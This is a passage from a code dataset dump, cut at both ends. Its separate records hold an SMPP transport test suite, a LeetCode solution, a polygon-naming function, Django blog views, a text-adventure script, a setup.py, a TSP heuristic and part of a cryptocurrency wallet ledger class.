self.service.listening.getHost().port\n self.transport = yield self.get_transport(self.config, start=False)\n self.transport.r_server = FakeRedis()\n self.expected_delivery_status = 'delivered'\n\n @inlineCallbacks\n def startTransport(self):\n self.transport._block_till_bind = defer.Deferred()\n yield self.transport.startWorker()\n\n @inlineCallbacks\n def tearDown(self):\n yield super(EsmeToSmscTestCasePlus, self).tearDown()\n self.transport.r_server.teardown()\n self.transport.factory.stopTrying()\n self.transport.factory.esme.transport.loseConnection()\n yield self.service.listening.stopListening()\n yield self.service.listening.loseConnection()\n\n @inlineCallbacks\n def test_handshake_submit_and_deliver(self):\n\n # 1111111111111111111111111111111111111111111111111\n expected_pdus_1 = [\n mk_expected_pdu(\"inbound\", 1, \"bind_transceiver\"),\n mk_expected_pdu(\"outbound\", 1, \"bind_transceiver_resp\"),\n mk_expected_pdu(\"inbound\", 2, \"enquire_link\"),\n mk_expected_pdu(\"outbound\", 2, \"enquire_link_resp\"),\n ]\n\n # 2222222222222222222222222222222222222222222222222\n expected_pdus_2 = [\n mk_expected_pdu(\"inbound\", 3, \"submit_sm\"),\n mk_expected_pdu(\"outbound\", 3, \"submit_sm_resp\"),\n # the delivery report\n mk_expected_pdu(\"outbound\", 1, \"deliver_sm\"),\n mk_expected_pdu(\"inbound\", 1, \"deliver_sm_resp\"),\n ]\n\n # 3333333333333333333333333333333333333333333333333\n expected_pdus_3 = [\n # a sms delivered by the smsc\n mk_expected_pdu(\"outbound\", 555, \"deliver_sm\"),\n mk_expected_pdu(\"inbound\", 555, \"deliver_sm_resp\"),\n ]\n\n # 4444444444444444444444444444444444444444444444444444444\n expected_pdus_4 = [\n # a sms delivered by the smsc\n #mk_expected_pdu(\"inbound\", 4, \"submit_sm\"),\n #mk_expected_pdu(\"outbound\", 4, \"submit_sm_resp\"),\n # the delivery report\n mk_expected_pdu(\"outbound\", 666, \"deliver_sm\", **{'optional_parameters': {'tag': 'network_error_code', 'value': '04000'}}),\n mk_expected_pdu(\"inbound\", 666, \"deliver_sm_resp\"),\n ] \n\n ## Startup\n yield self.startTransport()\n yield self.transport._block_till_bind\n\n # First we make sure the Client binds to the Server\n # and enquire_link pdu's are exchanged as expected\n pdu_queue = self.service.factory.smsc.pdu_queue\n\n for expected_message in expected_pdus_1:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n # Next the Client submits a SMS to the Server\n # and recieves an ack and a delivery_report\n\n msg = TransportUserMessage(\n to_addr=\"2772222222\",\n from_addr=\"2772000000\",\n content='hello world',\n transport_name=self.transport_name,\n transport_type='smpp',\n transport_metadata={},\n rkey='%s.outbound' % self.transport_name,\n timestamp='0',\n )\n yield self.dispatch(msg)\n\n for expected_message in expected_pdus_2:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n # We need the user_message_id to check the ack\n user_message_id = msg.payload[\"message_id\"]\n\n dispatched_events = self.get_dispatched_events()\n ack = dispatched_events[0].payload\n delv = dispatched_events[1].payload\n\n self.assertEqual(ack['message_type'], 'event')\n self.assertEqual(ack['event_type'], 'ack')\n self.assertEqual(ack['transport_name'], self.transport_name)\n self.assertEqual(ack['user_message_id'], user_message_id)\n\n # We need the sent_message_id to check the delivery_report\n sent_message_id = ack['sent_message_id']\n\n self.assertEqual(delv['message_type'], 'event')\n self.assertEqual(delv['event_type'], 'delivery_report')\n self.assertEqual(delv['transport_name'], self.transport_name)\n self.assertEqual(delv['user_message_id'], user_message_id)\n self.assertEqual(delv['delivery_status'],\n self.expected_delivery_status)\n\n # Finally the Server delivers a SMS to the Client\n\n pdu = DeliverSM(555,\n short_message=\"SMS from server\",\n destination_addr=\"2772222222\",\n source_addr=\"2772000000\",\n )\n self.service.factory.smsc.send_pdu(pdu)\n\n for expected_message in expected_pdus_3:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n dispatched_messages = self.get_dispatched_messages()\n mess = dispatched_messages[0].payload\n\n self.assertEqual(mess['message_type'], 'user_message')\n self.assertEqual(mess['transport_name'], self.transport_name)\n self.assertEqual(mess['content'], \"SMS from server\")\n self.assertEqual(mess['from_addr'], \"+2772000000\")\n\n dispatched_failures = self.get_dispatched_failures()\n self.assertEqual(dispatched_failures, [])\n \n self.clear_dispatched_messages()\n ## + adding\n pdu = DeliverSM(555,\n short_message=\"SMS from server\",\n destination_addr=\"2772222222\",\n source_addr=\"+2772000000\",\n )\n self.service.factory.smsc.send_pdu(pdu)\n\n for expected_message in expected_pdus_3:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n dispatched_messages = self.get_dispatched_messages()\n mess = dispatched_messages[0].payload\n\n self.assertEqual(mess['message_type'], 'user_message')\n self.assertEqual(mess['transport_name'], self.transport_name)\n self.assertEqual(mess['content'], \"SMS from server\")\n self.assertEqual(mess['from_addr'], \"+2772000000\")\n\n dispatched_failures = self.get_dispatched_failures()\n self.assertEqual(dispatched_failures, [])\n \n self.clear_dispatched_messages() \n ## handle delivery error message from push\n #msg = TransportUserMessage(\n #to_addr=\"+++2772222222\",\n #from_addr=\"2772000000\",\n #content='This message will never arrived',\n #transport_name=self.transport_name,\n #transport_type='smpp',\n #transport_metadata={},\n #rkey='%s.outbound' % self.transport_name,\n #timestamp='0',\n #)\n #yield self.dispatch(msg)\n \n #for expected_message in expected_pdus_4:\n #actual_message = yield pdu_queue.get()\n #self.assert_server_pdu(expected_message, actual_message)\n \n ## We need the user_message_id to check the ack\n #user_message_id = msg.payload[\"message_id\"]\n \n #dispatched_events = self.get_dispatched_events()\n ##self.assertEqual(2, len(dispatched_events))\n #ack = dispatched_events[2].payload\n #delv = dispatched_events[3].payload\n \n #self.assertEqual(ack['message_type'], 'event')\n #self.assertEqual(ack['event_type'], 'ack')\n #self.assertEqual(ack['transport_name'], self.transport_name)\n #self.assertEqual(ack['user_message_id'], user_message_id)\n \n ## We need the sent_message_id to check the delivery_report\n #sent_message_id = ack['sent_message_id']\n \n #self.assertEqual(delv['message_type'], 'event')\n #self.assertEqual(delv['event_type'], 'delivery_report')\n #self.assertEqual(delv['transport_name'], self.transport_name)\n #self.assertEqual(delv['user_message_id'], user_message_id)\n #self.assertEqual(delv['delivery_status'],\n #self.expected_delivery_status) \n \n \n pdu = DeliverSM(666,\n short_message=None,\n destination_addr=\"2772222222\",\n source_addr=\"2772000000\",\n )\n pdu._PDU__add_optional_parameter('network_error_code', '040000')\n self.service.factory.smsc.send_pdu(pdu)\n\n for expected_message in expected_pdus_4:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n dispatched_messages = self.get_dispatched_messages()\n self.assertEqual(0, len(dispatched_messages))\n\n #self.assertEqual(mess['message_type'], 'user_message')\n #self.assertEqual(mess['transport_name'], self.transport_name)\n #self.assertEqual(mess['content'], \"SMS from server\")\n #self.assertEqual(mess['from_addr'], \"+2772000000\")\n\n dispatched_failures = self.get_dispatched_failures()\n self.assertEqual(dispatched_failures, []) \n\n def send_out_of_order_multipart(self, smsc, to_addr, from_addr):\n destination_addr = to_addr\n source_addr = from_addr\n\n sequence_number = 1\n short_message1 = \"\\x05\\x00\\x03\\xff\\x03\\x01back\"\n pdu1 = DeliverSM(sequence_number,\n short_message=short_message1,\n destination_addr=destination_addr,\n source_addr=source_addr)\n\n sequence_number = 2\n short_message2 = \"\\x05\\x00\\x03\\xff\\x03\\x02 at\"\n pdu2 = DeliverSM(sequence_number,\n short_message=short_message2,\n destination_addr=destination_addr,\n source_addr=source_addr)\n\n sequence_number = 3\n short_message3 = \"\\x05\\x00\\x03\\xff\\x03\\x03 you\"\n pdu3 = DeliverSM(sequence_number,\n short_message=short_message3,\n destination_addr=destination_addr,\n source_addr=source_addr)\n\n smsc.send_pdu(pdu2)\n smsc.send_pdu(pdu3)\n smsc.send_pdu(pdu1)\n\n @inlineCallbacks\n def test_submit_and_deliver(self):\n\n self._block_till_bind = defer.Deferred()\n\n # Startup\n yield self.startTransport()\n yield self.transport._block_till_bind\n\n # Next the Client submits a SMS to the Server\n # and recieves an ack and a delivery_report\n\n msg = TransportUserMessage(\n to_addr=\"2772222222\",\n from_addr=\"2772000000\",\n content='hello world',\n transport_name=self.transport_name,\n transport_type='smpp',\n transport_metadata={},\n rkey='%s.outbound' % self.transport_name,\n timestamp='0',\n )\n yield self.dispatch(msg)\n\n # We need the user_message_id to check the ack\n user_message_id = msg.payload[\"message_id\"]\n\n wait_for_events = self._amqp.wait_messages(\n \"vumi\",\n \"%s.event\" % self.transport_name,\n 2,\n )\n yield wait_for_events\n\n dispatched_events = self.get_dispatched_events()\n ack = dispatched_events[0].payload\n delv = dispatched_events[1].payload\n\n self.assertEqual(ack['message_type'], 'event')\n self.assertEqual(ack['event_type'], 'ack')\n self.assertEqual(ack['transport_name'], self.transport_name)\n self.assertEqual(ack['user_message_id'], user_message_id)\n\n # We need the sent_message_id to check the delivery_report\n sent_message_id = ack['sent_message_id']\n\n self.assertEqual(delv['message_type'], 'event')\n self.assertEqual(delv['event_type'], 'delivery_report')\n self.assertEqual(delv['transport_name'], self.transport_name)\n self.assertEqual(delv['user_message_id'], user_message_id)\n self.assertEqual(delv['delivery_status'],\n self.expected_delivery_status)\n\n # Finally the Server delivers a SMS to the Client\n\n pdu = DeliverSM(555,\n short_message=\"SMS from server\",\n destination_addr=\"2772222222\",\n source_addr=\"2772000000\",\n )\n self.service.factory.smsc.send_pdu(pdu)\n\n # Have the server fire of an out-of-order multipart sms\n self.send_out_of_order_multipart(self.service.factory.smsc,\n to_addr=\"2772222222\",\n from_addr=\"2772000000\")\n\n wait_for_inbound = self._amqp.wait_messages(\n \"vumi\",\n \"%s.inbound\" % self.transport_name,\n 2,\n )\n yield wait_for_inbound\n\n dispatched_messages = self.get_dispatched_messages()\n mess = dispatched_messages[0].payload\n multipart = dispatched_messages[1].payload\n\n self.assertEqual(mess['message_type'], 'user_message')\n self.assertEqual(mess['transport_name'], self.transport_name)\n self.assertEqual(mess['content'], \"SMS from server\")\n\n # Check the incomming multipart is re-assembled correctly\n self.assertEqual(multipart['message_type'], 'user_message')\n self.assertEqual(multipart['transport_name'], self.transport_name)\n self.assertEqual(multipart['content'], \"back at you\")\n\n dispatched_failures = self.get_dispatched_failures()\n self.assertEqual(dispatched_failures, [])\n\n @inlineCallbacks\n def test_submit_and_deliver_with_missing_id_lookup(self):\n\n def r_failing_get(third_party_id):\n return None\n self.transport.r_get_id_for_third_party_id = r_failing_get\n\n self._block_till_bind = defer.Deferred()\n\n # Startup\n yield self.startTransport()\n yield self.transport._block_till_bind\n\n # Next the Client submits a SMS to the Server\n # and recieves an ack and a delivery_report\n\n msg = TransportUserMessage(\n to_addr=\"2772222222\",\n from_addr=\"2772000000\",\n content='hello world',\n transport_name=self.transport_name,\n transport_type='smpp',\n transport_metadata={},\n rkey='%s.outbound' % self.transport_name,\n timestamp='0',\n )\n yield self.dispatch(msg)\n\n # We need the user_message_id to check the ack\n user_message_id = msg.payload[\"message_id\"]\n\n wait_for_events = self._amqp.wait_messages(\n \"vumi\",\n \"%s.event\" % self.transport_name,\n 2,\n )\n yield wait_for_events\n\n dispatched_events = self.get_dispatched_events()\n ack = dispatched_events[0].payload\n delv = dispatched_events[1].payload\n\n self.assertEqual(ack['message_type'], 'event')\n self.assertEqual(ack['event_type'], 'ack')\n self.assertEqual(ack['transport_name'], self.transport_name)\n self.assertEqual(ack['user_message_id'], user_message_id)\n\n # We need the sent_message_id to check the delivery_report\n sent_message_id = ack['sent_message_id']\n\n self.assertEqual(delv['message_type'], 'event')\n self.assertEqual(delv['event_type'], 'delivery_report')\n self.assertEqual(delv['transport_name'], self.transport_name)\n self.assertEqual(delv['user_message_id'], None)\n self.assertEqual(delv['transport_metadata']['message']['id'],\n sent_message_id)\n self.assertEqual(delv['delivery_status'],\n self.expected_delivery_status)\n\n\n @inlineCallbacks\n def test_submit_long_message(self):\n\n self._block_till_bind = defer.Deferred()\n\n # Startup\n yield self.startTransport()\n yield self.transport._block_till_bind\n\n expected_pdus_1 = [\n mk_expected_pdu(\"inbound\", 1, \"bind_transceiver\"),\n mk_expected_pdu(\"outbound\", 1, \"bind_transceiver_resp\"),\n mk_expected_pdu(\"inbound\", 2, \"enquire_link\"),\n mk_expected_pdu(\"outbound\", 2, \"enquire_link_resp\"),\n ] \n \n pdu_queue = self.service.factory.smsc.pdu_queue \n \n for expected_message in expected_pdus_1:\n actual_message = yield pdu_queue.get()\n self.assert_server_pdu(expected_message, actual_message)\n\n msg = TransportUserMessage(\n to_addr=\"2772222222\",\n from_addr=\"2772000000\",\n content=self.mk_content(260),\n transport_name=self.transport_name,\n transport_type='smpp',\n transport_metadata={},\n rkey='%s.outbound' % self.transport_name,\n timestamp='0',\n )\n yield self.dispatch(msg)\n\n long_message = yield pdu_queue.get()\n\n self.assertEqual(\n 0,\n long_message['pdu']['body']['mandatory_parameters']['sm_length'])\n self.assertEqual(\n None,\n long_message['pdu']['body']['mandatory_parameters']['short_message'])\n self.assertTrue(\n 'value' in long_message['pdu']['body']['optional_parameters'][0])\n","sub_path":"transports/tests/test_push_tz_smpp.py","file_name":"test_push_tz_smpp.py","file_ext":"py","file_size_in_byte":21039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"445862423","text":"def numJewelsInStones(J, S):\n\t\"\"\"\n\t统计J字符串中的字母在S中出现的次数之和\n\t:type J: str\n\t:type S: str\n\t:rtype: int\n\t\"\"\"\n\t# time.sleep(1)\n\tif len(J) == 0 or len(S) == 0:\n\t\treturn 0\n\tcount = 0\n\tfor i in J:\n\t\tcount += S.count(i)\n\treturn count\n\n\nif __name__ == '__main__':\n\tprint(numJewelsInStones('zab', 'aAAbbbb'))\n","sub_path":"leetcode/771_JS.py","file_name":"771_JS.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251413692","text":"def _polyprefix(s, return_1=True):\n if s == '1' and return_1: return 'hena'\n elif s == '2': return 'di'\n elif s == '3': return 'tri'\n elif s == '4': return 'tetra'\n elif s == '5': return 'penta'\n elif s == '6': return 'hexa'\n elif s == '7': return 'hepta'\n elif s == '8': return 'octa'\n elif s == '9': return 'ennea'\n else: return ''\n\ndef polynumname(sides:int):\n\n setattr(polynumname, 'name', 'polynumname')\n \n if not str(sides).isdigit():\n raise TypeError(\"Expected all digits for argument 'sides'\")\n s = str(sides)\n res = ''\n done = False\n\n #Returns values for polygons with sides up to 9\n if int(s) <= 0: return 'N/A'\n elif s == '1': return 'monogon'\n elif s == '3': return 'triangle'\n elif s == '4': return 'square'\n \n #Returns values for polygons with sides with 4 digits; removes first digit\n if len(s) == 4:\n if s == '1000': return 'chiliagon'\n res += _polyprefix(s[0], return_1=False) + 'chilia'\n s = str(int(s[1:]))\n\n #Returns values for polygons with sides with 3 digits; removes first digit\n if len(s) == 3:\n if s == '100': return 'hectogon'\n res += _polyprefix(s[0], return_1=False) + 'hecta'\n s = str(int(s[1:]))\n\n #Returns values for polygons with sides with 2 digits\n if len(s) == 2:\n if s[0] == '1':\n if s[-1] == '1': res += 'un'\n elif s[-1] == '2': res += 'do'\n elif s[-1] == '3': res += 'tri'\n elif s[-1] == '4': res += 'tetra'\n elif s[-1] == '5': res += 'penta'\n elif s[-1] == '6': res += 'hexa'\n elif s[-1] == '7': res += 'hepta'\n elif s[-1] == '8': res += 'octa'\n elif s[-1] == '9': res += 'ennea'\n res += 'deca'\n done = True\n elif s[0] == '2':\n res += 'icosi'\n if s == '20': return 'icosagon'\n elif int(s[0]) > 2:\n res += _polyprefix(s[0]) + 'conta'\n if s[-1] == '0': return (res + 'gon')\n s = str(int(s[1:]))\n\n #Adds a prefix for polygons with units digits from 1-9\n #Note: polygons with units digits of 0 will be processed before\n if not done:\n res += _polyprefix(s)\n \n res += 'gon'\n return res\n","sub_path":"Polygonal Number Names.py","file_name":"Polygonal Number Names.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200320573","text":"from django.shortcuts import render, HttpResponse, HttpResponseRedirect\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth\nfrom .models import *\nfrom .forms import *\nfrom Recent_Read.models import Recent_Read\nfrom django.contrib.contenttypes.models import ContentType\n\n# Create your views here.\n\n\n# 显示文章数据\ndef show_Articles_data(request):\n data = Article.objects.all()\n # 得到get请求中的页码参数\n page_num = request.GET.get('page', 1)\n # 实例化一个分页器\n paginator = Paginator(data, 8)\n # 通过页码获得对应的文章,可以使用paginator.page, 但是这个方法不能对get获得的数据进行筛选,所以使用get_page\n article_list = paginator.get_page(page_num)\n # 前端页面参数字典\n context = {}\n context['data'] = article_list.object_list\n context['obj'] = article_list\n context['user'] = request.user\n # 判断是否当前页是否是第一页\n if int(article_list.number) == 1:\n # 总页数超过3页\n if (int(article_list.number) + 2) <= paginator.num_pages:\n context[\"page_num\"] = range(int(article_list.number), int(article_list.number) + 3)\n else:\n context[\"page_num\"]=range(int(article_list.number), int(paginator.num_pages) + 1)\n # 判断是否是最后一页\n elif not article_list.has_next():\n if (int(article_list.number) - 2) > 0:\n context[\"page_num\"]=range(int(article_list.number) - 2, int(article_list.number) + 1)\n else:\n context[\"page_num\"]=range(1, int(article_list.number) + 1)\n else:\n if (int(article_list.number) - 1) > 0 and (int(article_list.number) + 1) <= paginator.num_pages:\n context['page_num'] = range(int(article_list.number) - 1, int(article_list.number) + 2)\n elif (int(article_list.number) - 1) <= 0 and (int(article_list.number) + 1) <= paginator.num_pages:\n context['page_num']=range(1, int(article_list.number) + 2)\n else:\n context['page_num']=range(1, int(article_list.number) + 1)\n return render(request, 'index.html', context)\n\n\ndef content(request):\n pk = request.GET.get('pk')\n try:\n # 通过获得get请求中的数据查询文本内容,根据判断长度来确定是否查找到数据(数据是否存在)\n # 存在数据,则在原数据的基础上加1\n articles = Article.objects.get(pk=pk)\n ct = ContentType.objects.get_for_model(Article)\n # 判断用户是否登录,如果已经登录,则实例化一个历史记录并保存生效\n if not request.user.is_anonymous:\n re = Recent_Read(content_type=ct, object_id=pk,user=request.user)\n re.save()\n if Read_Num.objects.filter(article=articles).count():\n articles.read_num.read_num_data += 1\n articles.read_num.save()\n # 不存在数据,创建对象,并且使阅读数设置为0\n else:\n readnum = Read_Num()\n readnum.article = articles\n readnum.read_num_data = 1\n readnum.save()\n text = articles.text\n context = {}\n context['text'] = text\n context['pk'] = pk\n context['user'] = request.user\n return render(request, 'content_template.html', context)\n except:\n return HttpResponse('404')\n\n\n# 用户登录\ndef login(request):\n if request.method == \"GET\":\n context = {}\n context['previous_page'] = request.GET.get('from_page', '/index')\n return render(request, 'login.html', context)\n else:\n username = request.POST['username']\n password = request.POST['password']\n try:\n user = authenticate(request, username=username, password=password)\n auth.login(request, user)\n return HttpResponseRedirect(request.GET.get('from_page', '/index'))\n except:\n context = {}\n context['login_info'] = True\n context['previous_page']=request.GET.get('from_page', '/index')\n return render(request, 'login.html', context)\n\n\n# 用户注销\ndef logout(request):\n auth.logout(request)\n return HttpResponseRedirect(request.GET.get('from_page', '/index'))\n\n\n# 用户注册\ndef register(request):\n if request.method == \"GET\":\n context = {}\n context['previous_page'] = request.GET.get('from_page', '/index')\n return render(request, 'register.html', context)\n else:\n try:\n username = request.POST['username']\n password = request.POST['password']\n # 判断用户名是否存在\n if User.objects.filter(username=username).exists():\n context = {}\n context['register_info'] = True\n context['previous_page']=request.GET.get('from_page', '/index')\n return render(request, 'register.html', context)\n else:\n user = User.objects.create_user(username=username, password=password)\n user.save()\n return HttpResponseRedirect(request.GET.get('from_page', '/index'))\n except:\n return HttpResponse('注册过程异常,请重新注册!')\n\n\n# Django form表单测试\ndef loginform(request):\n if request.method == 'POST':\n login_form = LoginForm(request.POST)\n # 判断接受的数据是否有效,有效则为True,否则为FALSE(比如输入的是一串空格)\n if login_form.is_valid():\n user = login_form.cleaned_data['user']\n auth.login(request, user)\n return HttpResponseRedirect(request.GET.get('from_page'))\n else:\n # 实例化一个Form表单对象\n login_form = LoginForm()\n context = {}\n # 传递给模板文件\n context['login_form'] = login_form\n return render(request, 'test.html', context)\n\n\n# 测试用视图函数\ndef test(request):\n user = request.user\n print(dir(user))\n print(user.is_anonymous)\n return HttpResponse('test')\n\n","sub_path":"Blog Relevant/blog8-15/myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"544867906","text":"import random\nimport time\n\nthreedots = [\".\", \"..\", \"...\"]\nfivedots = [\".\", \"..\", \"...\", \"....\", \".....\"]\n\n\ndef beat(dots):\n for i in range(len(dots)):\n print(dots[i])\n time.sleep(1.5)\n\n\nprint(\"Hello. You don't seem to be around these parts. Mind telling me about yourself?\")\ntime.sleep(7)\nprint(\"For starters, what's your name?\")\nname = str(input())\nprint(\"Ahh... so you're \" + name + \"...\")\ntime.sleep(2.5)\nprint(\"I think it's nice!\")\ntime.sleep(5)\nprint(\"So... uh... what's your gender, anyway? I don't want to assume; that's just rude, y'know?\")\ngender = str(input(\n \"*psst! hey! it'll be easier if you use formal names for this instead of 'he' or 'she', so try those!* \")) # There's a better way of doing this, I'm sure. I'm too lazy to figure it out though.\n\nif gender is \"female\":\n print(\"Oh, so you're a girl! Heh, it's rare to see one out in the wilderness here, all by your lonesome, no less!\")\nelif gender is \"male\":\n print(\n \"Ahhh, so you're a boy! Gonna grow up to be tough through and through, like the trees surrounding you, right?\")\nelse:\n time.sleep(1.5)\n beat(threedots)\n print(\"....What?\")\n time.sleep(2.5)\n print(\"W-whatever. I'll figure it out later, when we get you somewhere safe.\")\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"193720096","text":"import os\nfrom setuptools import setup\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name=\"okcupyd\",\n version=\"0.4.4\",\n packages=['okcupyd'],\n install_requires=['lxml', 'requests', 'simplejson', 'six', 'ipython'],\n tests_require=['tox', 'pytest', 'mock', 'contextlib2', 'vcrpy'],\n package_data={'': ['*.md', '*.rst']},\n author=\"Ivan Malison\",\n author_email=\"ivanmalison@gmail.com\",\n description=\"A package for interacting with OKCupid.com\",\n license=\"MIT\",\n keywords=\"python okcupid\",\n url=\"https://github.com/IvanMalison/okcupyd\",\n long_description=read('README.md'),\n entry_points={\"console_scripts\": [\"okcupyd=okcupyd:parse_args_and_run\"]},\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Utilities\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"359971134","text":"import logging\nfrom typing import Tuple\n\nimport numpy as np\n\nfrom lin_kernighan.algorithms.lkh_opt import LKHOpt\nfrom lin_kernighan.algorithms.two_opt import TwoOpt\nfrom lin_kernighan.algorithms.utils.abc_search import AbcSearch\nfrom lin_kernighan.algorithms.utils.initial_tour import helsgaun, fast_helsgaun, greedy, two_opt\nfrom lin_kernighan.algorithms.utils.utils import get_length, get_set\n\n_initialization = dict(helsgaun=helsgaun, fast_helsgaun=fast_helsgaun, greedy=greedy, two_opt=two_opt)\n\n\nclass LKHSearch(AbcSearch):\n \"\"\" Базовая метаэвристика: Multi trial LKH\n matrix: матрица весов\n\n init: генерация нового тура [helsgaun, fast_helsgaun, greedy, two_opt]\n dlb: don't look bits [boolean]\n bridge: make double bridge [boolean]\n excess: parameter for cut bad candidates [float]\n mul: excess factor [float]\n two_opt: use two_opt by initial tour [boolean]\n non_seq: use non sequential move [boolean]\n k: number of k for k-opt; how many sequential can make algorithm [int]\n subgradient: use or not subgradient optimization [boolean]\n \"\"\"\n\n def __init__(self, matrix: np.ndarray, **kwargs):\n super().__init__(matrix, **kwargs)\n\n if kwargs.get('two_opt', True):\n self.length, self.tour = TwoOpt.just_improve(self.length, self.tour, self.matrix)\n\n self.opt = LKHOpt(self.length, self.tour, self.matrix, **kwargs)\n self.initial = kwargs.get('init', 'two_opt')\n\n logging.info('initialization multi trial lkh done')\n\n def optimize(self, iterations=10, **kwargs) -> Tuple[float, np.ndarray]:\n \"\"\" Запуск метаэвристики Multi trial LKH\n iterations: количество возможных перезапусков\n return: лучшая длина тура, лучший тур\n \"\"\"\n if self.collector is not None:\n self.collector.update({'length': self.length, 'gain': 0})\n\n while iterations > 0:\n self.opt.meta_heuristic_optimize(self.data, self.collector)\n _length, _tour = self.best_tour()\n\n if self.length > _length:\n self.length, self.tour = _length, _tour # если найден другой хороший оптимум, обновляем текущий\n self.opt.best_solution = get_set(self.tour)\n assert round(get_length(self.tour, self.matrix), 2) == round(self.length, 2), \\\n f'{get_length(self.tour, self.matrix)} != {self.length}'\n\n logging.info(f'{iterations} : {_length} : {self.length}')\n\n if self.initial == 'helsgaun' or self.initial == 'fast_helsgaun':\n self.opt.length, self.opt.tour = _initialization[self.initial](\n self.opt.alpha,\n self.matrix,\n self.opt.best_solution,\n self.opt.candidates,\n self.opt.excess)\n else:\n self.opt.length, self.opt.tour = _initialization[self.initial](self.matrix)\n\n assert round(get_length(self.opt.tour, self.matrix), 2) == round(self.opt.length, 2), \\\n f'{get_length(self.opt.tour, self.matrix)} != {self.opt.length}'\n\n iterations -= 1\n\n self.length, self.tour = self.best_tour()\n logging.info(f'multi trial lkh done, best length: {self.length}')\n return self.length, self.tour\n","sub_path":"lin_kernighan/lkh_search.py","file_name":"lkh_search.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255521978","text":"import os\nimport six\nimport hashlib\nimport logging\nfrom binascii import hexlify, unhexlify\nfrom typing import Dict, Type, Iterable, Generator\nfrom operator import itemgetter\nfrom collections import namedtuple\n\nfrom twisted.internet import defer\n\nfrom torba import baseaccount\nfrom torba import basedatabase\nfrom torba import baseheader\nfrom torba import basenetwork\nfrom torba import basetransaction\nfrom torba.stream import StreamController, execute_serially\nfrom torba.hash import hash160, double_sha256, Base58\n\nlog = logging.getLogger(__name__)\n\n\nclass LedgerRegistry(type):\n ledgers = {} # type: Dict[str, Type[BaseLedger]]\n\n def __new__(mcs, name, bases, attrs):\n cls = super(LedgerRegistry, mcs).__new__(mcs, name, bases, attrs) # type: Type[BaseLedger]\n if not (name == 'BaseLedger' and not bases):\n ledger_id = cls.get_id()\n assert ledger_id not in mcs.ledgers,\\\n 'Ledger with id \"{}\" already registered.'.format(ledger_id)\n mcs.ledgers[ledger_id] = cls\n return cls\n\n @classmethod\n def get_ledger_class(mcs, ledger_id): # type: (str) -> Type[BaseLedger]\n return mcs.ledgers[ledger_id]\n\n\nclass TransactionEvent(namedtuple('TransactionEvent', ('address', 'tx', 'height', 'is_verified'))):\n pass\n\n\nclass BaseLedger(six.with_metaclass(LedgerRegistry)):\n\n name = None\n symbol = None\n network_name = None\n\n account_class = baseaccount.BaseAccount\n database_class = basedatabase.BaseDatabase\n headers_class = baseheader.BaseHeaders\n network_class = basenetwork.BaseNetwork\n transaction_class = basetransaction.BaseTransaction\n\n secret_prefix = None\n pubkey_address_prefix = None\n script_address_prefix = None\n extended_public_key_prefix = None\n extended_private_key_prefix = None\n\n default_fee_per_byte = 10\n\n def __init__(self, config=None, db=None, network=None, headers_class=None):\n self.config = config or {}\n self.db = db or self.database_class(\n os.path.join(self.path, \"blockchain.db\")\n ) # type: basedatabase.BaseDatabase\n self.network = network or self.network_class(self)\n self.network.on_header.listen(self.process_header)\n self.network.on_status.listen(self.process_status)\n self.accounts = set()\n self.headers = (headers_class or self.headers_class)(self)\n self.fee_per_byte = self.config.get('fee_per_byte', self.default_fee_per_byte)\n\n self._on_transaction_controller = StreamController()\n self.on_transaction = self._on_transaction_controller.stream\n self.on_transaction.listen(\n lambda e: log.info('({}) on_transaction: address={}, height={}, is_verified={}, tx.id={}'.format(\n self.get_id(), e.address, e.height, e.is_verified, e.tx.hex_id)\n )\n )\n\n self._on_header_controller = StreamController()\n self.on_header = self._on_header_controller.stream\n\n self._transaction_processing_locks = {}\n\n @classmethod\n def get_id(cls):\n return '{}_{}'.format(cls.symbol.lower(), cls.network_name.lower())\n\n def hash160_to_address(self, h160):\n raw_address = self.pubkey_address_prefix + h160\n return Base58.encode(bytearray(raw_address + double_sha256(raw_address)[0:4]))\n\n @staticmethod\n def address_to_hash160(address):\n bytes = Base58.decode(address)\n prefix, pubkey_bytes, addr_checksum = bytes[0], bytes[1:21], bytes[21:]\n return pubkey_bytes\n\n def public_key_to_address(self, public_key):\n return self.hash160_to_address(hash160(public_key))\n\n @staticmethod\n def private_key_to_wif(private_key):\n return b'\\x1c' + private_key + b'\\x01'\n\n @property\n def path(self):\n return os.path.join(self.config['wallet_path'], self.get_id())\n\n def get_input_output_fee(self, io):\n \"\"\" Fee based on size of the input / output. \"\"\"\n return self.fee_per_byte * io.size\n\n def get_transaction_base_fee(self, tx):\n \"\"\" Fee for the transaction header and all outputs; without inputs. \"\"\"\n return self.fee_per_byte * tx.base_size\n\n @defer.inlineCallbacks\n def add_account(self, account): # type: (baseaccount.BaseAccount) -> None\n self.accounts.add(account)\n if self.network.is_connected:\n yield self.update_account(account)\n\n 